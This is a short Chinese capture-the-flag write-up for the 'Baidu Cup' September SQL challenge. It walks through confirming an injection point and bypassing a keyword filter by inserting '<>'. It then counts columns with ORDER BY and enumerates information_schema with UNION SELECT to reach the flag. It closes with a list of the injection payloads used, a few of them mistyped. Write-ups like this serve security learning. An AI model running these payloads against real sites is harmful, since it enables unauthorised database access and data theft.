“百度杯”CTF比赛 九月场 SQL-writeup

题目来源:

“百度杯”CTF比赛 九月场 SQL(i春秋CTF题库)

http://5a2ac0925dcc43de96dd1453e3b6c1e348f7b2c59f7c4fbd.changame.ichunqiu.com/index.php?id=1

“百度杯”CTF比赛 九月场 SQL-writeup

writeup

1、判断有无注入点

“百度杯”CTF比赛 九月场 SQL-writeup

发现,有过滤,尝试许多,参考大神思路,发现<>绕过and过滤

“百度杯”CTF比赛 九月场 SQL-writeup

继续判断注入点有无

“百度杯”CTF比赛 九月场 SQL-writeup

发现无法正常回显,存在注入点

2、order by判断字段数

“百度杯”CTF比赛 九月场 SQL-writeup

发现存在过滤,结合上面,依然用<>绕过,但要注意,上面有and过滤,故要考虑到or的过滤,因此不能写成or<>der

“百度杯”CTF比赛 九月场 SQL-writeup

试到4的时候,无法回显,故字段数为3

“百度杯”CTF比赛 九月场 SQL-writeup

再利用union select

“百度杯”CTF比赛 九月场 SQL-writeup

发现存在过滤,处理方法如上

“百度杯”CTF比赛 九月场 SQL-writeup

发现【2】处有搞头

3、爆数据库名

“百度杯”CTF比赛 九月场 SQL-writeup

4、爆表名

“百度杯”CTF比赛 九月场 SQL-writeup

5、爆列名

“百度杯”CTF比赛 九月场 SQL-writeup

6、得到flag

“百度杯”CTF比赛 九月场 SQL-writeup

后话

此题是针对于之前文章小白入坑3-了解SQL注入里面的SQL注入语句的应用而写的,具体可见该文章~

此题所用语句:

? id = 1 and 1=1
? id = 1 and 1=2
? id = 1 order by 1
? id = 1 order by 2
? id = 1 union select 1,2
? id = 1 union select 1,databaes(),3
? id = 1 union select 1,table_name,3 from information_schema.tables where table_schema='database()'
? id = 1 union select 1,column_name,3 from information_schema.columns where table_name='table_name'
? id = 1 union select 1,flag_name,3 from table_name